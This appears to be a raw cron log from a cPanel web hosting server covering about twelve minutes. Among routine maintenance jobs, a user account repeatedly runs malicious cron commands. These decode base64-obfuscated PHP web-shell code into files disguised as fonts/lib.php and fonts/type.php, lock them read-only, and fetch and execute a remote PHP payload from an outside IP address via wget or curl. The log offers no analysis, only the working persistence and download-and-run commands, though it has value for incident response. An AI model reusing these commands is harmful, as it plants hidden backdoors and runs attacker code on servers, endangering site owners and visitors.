Sep 11 18:38:01 ip-184-168-122-23 CROND[18241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:38:01 ip-184-168-122-23 CROND[18240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:38:01 ip-184-168-122-23 CROND[18239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:38:01 ip-184-168-122-23 CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:39:01 ip-184-168-122-23 CROND[18368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:39:01 ip-184-168-122-23 CROND[18369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:39:01 ip-184-168-122-23 CROND[18371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:39:01 ip-184-168-122-23 CROND[18370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:39:01 ip-184-168-122-23 CROND[18373]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:40:01 ip-184-168-122-23 CROND[18477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:40:01 ip-184-168-122-23 CROND[18480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:40:01 ip-184-168-122-23 CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:41:01 ip-184-168-122-23 CROND[18630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:41:01 ip-184-168-122-23 CROND[18632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:41:01 ip-184-168-122-23 CROND[18633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:41:01 ip-184-168-122-23 CROND[18631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:42:01 ip-184-168-122-23 CROND[18731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:42:01 ip-184-168-122-23 CROND[18733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:42:01 ip-184-168-122-23 CROND[18734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:42:01 ip-184-168-122-23 CROND[18735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:42:01 ip-184-168-122-23 CROND[18736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:43:01 ip-184-168-122-23 CROND[18827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:43:01 ip-184-168-122-23 CROND[18829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:43:01 ip-184-168-122-23 CROND[18830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:43:01 ip-184-168-122-23 CROND[18832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:44:01 ip-184-168-122-23 CROND[19047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:44:01 ip-184-168-122-23 CROND[19048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:44:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:44:01 ip-184-168-122-23 CROND[19051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:44:01 ip-184-168-122-23 CROND[19050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:45:01 ip-184-168-122-23 CROND[19189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:45:01 ip-184-168-122-23 CROND[19191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:45:01 ip-184-168-122-23 CROND[19193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:45:01 ip-184-168-122-23 CROND[19196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:45:01 ip-184-168-122-23 CROND[19194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:45:01 ip-184-168-122-23 CROND[19197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:46:01 ip-184-168-122-23 CROND[19353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:46:01 ip-184-168-122-23 CROND[19356]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 18:46:01 ip-184-168-122-23 CROND[19357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:46:01 ip-184-168-122-23 CROND[19355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:46:01 ip-184-168-122-23 CROND[19358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:46:01 ip-184-168-122-23 CROND[19359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:46:01 ip-184-168-122-23 CROND[19362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:47:02 ip-184-168-122-23 CROND[19484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:47:02 ip-184-168-122-23 CROND[19486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:47:02 ip-184-168-122-23 CROND[19487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:47:02 ip-184-168-122-23 CROND[19488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:48:01 ip-184-168-122-23 CROND[19587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:48:01 ip-184-168-122-23 CROND[19589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:48:01 ip-184-168-122-23 CROND[19590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:48:01 ip-184-168-122-23 CROND[19591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:48:01 ip-184-168-122-23 CROND[19593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:49:01 ip-184-168-122-23 CROND[19763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:49:01 ip-184-168-122-23 CROND[19765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:49:01 ip-184-168-122-23 CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:49:01 ip-184-168-122-23 CROND[19767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:50:01 ip-184-168-122-23 CROND[19863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:50:01 ip-184-168-122-23 CROND[19865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:50:01 ip-184-168-122-23 CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:50:01 ip-184-168-122-23 CROND[19871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
